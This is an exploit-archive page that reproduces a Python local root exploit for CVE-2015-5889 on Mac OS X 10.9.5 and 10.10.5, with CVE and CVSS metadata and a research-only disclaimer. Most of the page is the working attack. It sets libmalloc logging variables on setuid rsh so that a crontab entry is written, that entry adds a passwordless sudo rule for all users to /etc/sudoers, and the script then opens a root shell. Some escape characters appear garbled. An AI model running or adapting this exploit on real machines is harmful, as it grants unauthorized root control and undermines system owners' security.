Advertisement






Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation

CVE Category Price Severity
CVE-2015-5889 CWE-264 Not specified High
Author Risk Exploitation Type Date
Not specified High Local 2015-10-02
CPE
cpe:cpe:/o:apple:mac_os_x:10.9.5
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 0.6 0.85

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2015100016

Below is a copy:

Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel
 
import os,time,sys
 
env = {}
 
s = os.stat("/etc/sudoers").st_size
 
env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'an* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoersnnnnn'
 
sys.stderr.write("creating /etc/crontab..")
 
p = os.fork()
if p == 0:  
    os.close(1)
    os.close(2)
    os.execve("/usr/bin/rsh",["rsh","localhost"],env)
 
time.sleep(1)
 
if "NOPASSWD" not in open("/etc/crontab").read():
    sys.stderr.write("failedn")
    sys.exit(-1)
 
sys.stderr.write("donenwaiting for /etc/sudoers to change (<60 seconds)..")
 
while os.stat("/etc/sudoers").st_size == s:
    sys.stderr.write(".")   
    time.sleep(1)
 
sys.stderr.write("ndonen")
 
os.system("sudo su")


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum